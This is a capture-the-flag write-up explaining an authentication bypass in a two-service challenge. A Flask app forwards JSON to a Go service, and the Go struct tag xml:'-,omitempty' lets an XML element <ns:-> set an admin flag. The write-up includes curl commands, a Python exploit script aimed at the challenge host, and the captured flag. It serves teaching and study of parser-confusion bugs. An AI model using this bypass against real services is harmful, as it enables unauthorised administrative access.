ctf-writeups

Go brrr

Co-authors: @p3ngu1nw

Enough php for today, let's Go for some Python

In attachment, a Python file is provided:

from flask import Flask, request, session
import requests
import secrets
import os


app = Flask(__name__)

app.secret_key = secrets.token_hex(32)

auth_service_url = 'http://localhost:8082/user'

@app.route('/user', methods=['POST'])
def user_handler():
    data = request.get_json() or None
    if data is None or not "username" in data or not "password" in data:
        return "Invalid data format (not a valid JSON schema)", 400
    check = requests.post(auth_service_url, json=data).text
    if check == '"Authorized"':
        session['is_admin'] = True
        return "Authorized"
    else:
        return "Not Authorized", 403
    

@app.route('/admin', methods=['GET'])
def admin_panel():
    if session.get('is_admin'):
        flag = os.getenv('DYN_FLAG', 'BHFlagY{dummy_flag_for_testing}')
        return "Welcome to the admin panel! Here is the flag: " + flag
    else:
        return "Access denied", 403

app.run(host='0.0.0.0', port=8081)

It sends JSON to another service and waits for Authorized. The other service is implemented in Go:

package main

import (
	"encoding/json"
	"encoding/xml"
	"fmt"
	"io/ioutil"
	"net/http"
)

type User struct {
	Username string `json:"username" xml:"username"`
	Password string `json:"password" xml:"password"`
	IsAdmin  bool   `json:"-"  xml:"-,omitempty"`
}

func userHandler(w http.ResponseWriter, r *http.Request) {
	var user User

	body, err := ioutil.ReadAll(r.Body)
	if err != nil {
		http.Error(w, "Unable to read body", http.StatusBadRequest)
		return
	}

	
	if err := xml.Unmarshal(body, &user); err != nil {
		fmt.Println("XML unmarshal failed, trying JSON:", err)
		if err := json.Unmarshal(body, &user); err != nil {
			http.Error(w, "Invalid data format (not XML or JSON)", http.StatusBadRequest)
			return
		}
	}

	w.Header().Set("Content-Type", "application/json")
	if user.IsAdmin {
		w.Write([]byte(`"Authorized"`))
	} else {
		w.Write([]byte(`"Not Authorized"`))
	}
}

func main() {
	http.HandleFunc("/user", userHandler)
	fmt.Println("Server running on 0.0.0.0:8082")
	http.ListenAndServe("0.0.0.0:8082", nil)
}

The problem is:

	Username string `json:"username" xml:"username"`
	Password string `json:"password" xml:"password"`
	IsAdmin  bool   `json:"-"  xml:"-,omitempty"`

xml:"-,omitempty" does not mean the field is ignored. It is "-" plus omitempty, so it matches a tag named -. However, <-> is an invalid XML tag, we need to add namespace prefix:

$ curl -X POST http://127.0.0.1:8082/user --data "<User><username>test</username><password>test</password><ns:->true</ns:-></User>"
"Authorized"

The next problem is that, we are passing JSON to the python service, but we need to send XML to the golang service. This part is solved by @p3ngu1nw by using quotes:

$ curl -X POST http://172.17.0.3:8081/user -H "Content-Type: application/json" --data '"<User><username>test</username><password>test</password><ns:->true</ns:-></User>"'
Authorized

So the last thing is to login in the online instance and grab the flag. The attack script is written by @p3ngu1nw:

import requests

url = "http://udnuz3uxblc-0.playat.flagyard.com/user"

# 构造 XML payload，让 Go 服务解析后 IsAdmin=true
xml_payload = """
"<User><username>test</username><password>test</password><ns:->true</ns:-></User>"
"""

headers = {
    "Content-Type": "application/json"
}

session = requests.Session()
resp = session.post(url, data=xml_payload, headers=headers)

print("Response from /user:", resp.text)

# 如果成功，可以访问 /admin 拿 flag
resp2 = session.get("http://udnuz3uxblc-0.playat.flagyard.com/admin")
print("Response from /admin:", resp2.text)

Output:

Response from /user: Authorized
Response from /admin: Welcome to the admin panel! Here is the flag: BHFlagY{4000704b8dec451f3f648384230d55b4}